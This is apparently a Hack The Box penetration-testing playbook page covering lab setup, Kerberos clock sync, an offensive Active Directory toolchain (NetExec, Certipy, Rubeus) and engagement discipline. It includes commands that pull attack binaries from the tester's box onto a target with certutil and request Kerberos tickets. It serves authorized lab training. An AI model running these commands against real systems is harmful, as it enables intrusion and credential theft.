HTB Pentest Attack Flow

[!dashboard] Workspace Playbook: HTB Attack Flow Playbook

Vault: Cybersecurity MOC

Purpose: Move from scope and reconnaissance through exploitation, post-exploitation, evidence handling, and reporting.

[!warning] Authorized targets only Use these commands only inside an engagement or lab where you have explicit permission. Record scope, timestamps, commands, and evidence as you work.

Quick Setup

[!tip] Set the engagement context once Keep target details in the shell environment so commands remain readable and accidental target mix-ups are less likely.

export IP="10.10.10.10"          # primary target host
export TARGET="target.htb"
export DOMAIN="inlanefreight.local"
export DC="dc01.$DOMAIN"         # DC FQDN
export DCIP="10.10.10.5"         # DC IP — most impacket/nxc flags want -dc-ip $DCIP
export LHOST="10.10.14.2"
export U="username"
export P="password"
export NT=""                     # NT hash, when you have one: -hashes :$NT

printf '%s\t%s %s\n' "$IP" "$TARGET" "$DC" | sudo tee -a /etc/hosts
printf '%s\t%s\n' "$DCIP" "$DC" | sudo tee -a /etc/hosts

[!tip] Wordlists — set once, reuse everywhere

export ROCKYOU="/usr/share/wordlists/rockyou.txt"
export SECLISTS="/usr/share/SecLists"
# common pulls:
#   $SECLISTS/Discovery/Web-Content/raft-medium-directories.txt
#   $SECLISTS/Usernames/xato-net-10-million-usernames.txt
#   $SECLISTS/Passwords/Leaked-Databases/rockyou.txt

On a fresh attack box: sudo apt install seclists wordlists && sudo gunzip /usr/share/wordlists/rockyou.txt.gz. Repo: SecLists.

[!note] Keep the clock synchronized Kerberos is time-sensitive (max ~5 min skew, KRB_AP_ERR_SKEW). If authentication fails unexpectedly, compare your clock with the domain controller before changing attack paths.

nmap -p 88 --script clock-skew -Pn $DCIP        # measure the skew
sudo ntpdate $DCIP                              # hard-sync (or: sudo timedatectl set-ntp off first)
faketime -f '+7h30m' getTGT.py "$DOMAIN/$U:$P" -dc-ip $DCIP   # or wrap just the one tool

Prefer faketime per-command over touching the system clock; htpdate works when only HTTP(S) egress exists. Deep dive: Stage 05 — Kerberos Attacks.

[!tools] Modern toolchain (2026) — legacy → current

Legacy	Use instead	Why
CrackMapExec (cme)	NetExec (nxc)	cme is unmaintained; nxc is the drop-in successor (nxc smb/ldap/winrm/mssql).
BloodHound Legacy + SharpHound 4	BloodHound CE + bloodhound-ce-python / RustHound-CE	CE (Postgres, new edge model) is what HTB/CPTS material assumes now; legacy ingestors break against it.
ADCS by hand	Certipy (certipy-ad find -vulnerable) + on-host Certify.exe (SHA-256 · GPG signature)	One command maps ESC1–ESC16 instead of manual template audit.
On-host Kerberos by hand	Rubeus.exe (SHA-256 · GPG signature)	Roast, asktgt/asktgs, delegation abuse, ticket injection from Windows.
Manual ACL edits	bloodyAD / impacket dacledit.py, owneredit.py, rbcd.py	Reversible, scriptable ACE changes.

Everything in the right column above (and more) ships offline in this vault — see the toolkit table below.

Kill Chain

Stage Index

Offline Toolkit (attachments/)

The attachments/ folder ships offline with this vault — no egress needed on an air-gapped or HTB VPN lab. Verify integrity before staging anything to a target (record: SHA256SUMS (GPG signature)):

cd attachments && sha256sum -c SHA256SUMS.txt --ignore-missing

[!warning] Verify, then stage Confirm every binary against SHA256SUMS (GPG signature) before use, and expect AV/Defender to flag most of these — stage in a lab, whitelist only in-scope paths, and clean up afterwards (Stage 11).

[!tip] Where to stage from Serve the whole folder from your attack box with python3 -m http.server 8000 --directory attachments or updog, then pull with certutil -urlcache -split -f http://$LHOST:8000/<file> or iwr — transfer recipes in Foothold Toolkit — File Transfers.

Progress

Engagement Discipline

• Work from scope and evidence, not assumptions.
• Prefer the least invasive test that proves or disproves a path.
• Keep raw output separate from conclusions.
• Record credentials as sensitive evidence; do not paste secrets into permanent notes.
• Log every material target change and include a rollback step.
• Stop and reassess when a command could affect availability or other users.
• Every new credential = restart at Stage 04 as that identity (new BloodHound edges).
• Reverse every AD object/ACE change you make — see the OPSEC callouts in Stage 06.

[!navigation] Start the workflow Next: Stage 00 — Passive External Recon